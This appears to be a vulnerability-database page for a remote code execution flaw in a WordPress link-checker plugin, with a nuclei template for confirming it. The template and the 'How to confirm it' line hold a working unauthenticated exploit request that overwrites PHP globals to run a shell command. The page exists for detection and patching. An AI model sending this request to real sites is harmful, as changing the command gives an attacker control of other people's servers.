Browse / CVEs / CVE-2026-18937
CVE-2026-18937· wpmu-dev / broken-link-checker· CWE-94
WordPress Broken Link Checker < 2.4.12 - Remote Code Execution
criticalseverity
9CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it
The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it accepts from user input on sites using plain permalinks, allowing unauthenticated users to overwrite arbitrary PHP global variables on the server when a classic (non-block) theme is active.
Impact
Unauthenticated attackers can execute arbitrary code, leading to full remote code execution with web server privileges.
Fix
Upgrade to version 2.4.12 or later.
How to confirm it
Send: GET /?_wp_sidebars_widgets[sidebar-1][]=x&wp_registered_widgets[x][callback]=array_filter&wp_registered_widgets[x][params][0]=system&wp_registered_sidebars[sid…
Positive when: contains(content_type, "text/html") and regex("uid=[0-9]+([(][^)]*[)])?[[:space:]]+gid=[0-9]+", body)Run it with nuclei: nuclei -id CVE-2026-18937 -u <target>
The full check
id: CVE-2026-18937
info:
name: WordPress Broken Link Checker < 2.4.12 - Remote Code Execution
author: anirbala98
severity: critical
description: |
The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it accepts from user input on sites using plain permalinks, allowing unauthenticated users to overwrite arbitrary PHP global variables on the server when a classic (non-block) theme is active.
impact: |
Unauthenticated attackers can execute arbitrary code, leading to full remote code execution with web server privileges.
remediation: |
Upgrade to version 2.4.12 or later.
reference:
- https://wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d/
- https://nvd.nist.gov/vuln/detail/CVE-2026-18937
- https://wordpress.org/plugins/broken-link-checker/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2026-18937
epss-score: 0.01993
epss-percentile: 0.80856
cwe-id: CWE-94
metadata:
verified: true
max-request: 1
vendor: wpmu-dev
product: broken-link-checker
framework: wordpress
fofa-query: body="/wp-content/plugins/broken-link-checker/"
tags: cve,cve2026,wordpress,wp-plugin,rce,broken-link-checker,unauth
http:
- raw:
- |
GET /?_wp_sidebars_widgets[sidebar-1][]=x&wp_registered_widgets[x][callback]=array_filter&wp_registered_widgets[x][params][0]=system&wp_registered_sidebars[sidebar-1][cmd]=id HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(content_type, "text/html")'
- 'regex("uid=[0-9]+([(][^)]*[)])?[[:space:]]+gid=[0-9]+", body)'
condition: andReferences
- https://wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d/
- https://nvd.nist.gov/vuln/detail/CVE-2026-18937
- https://wordpress.org/plugins/broken-link-checker/
Use this check only on systems you are authorised to test. Where the data comes from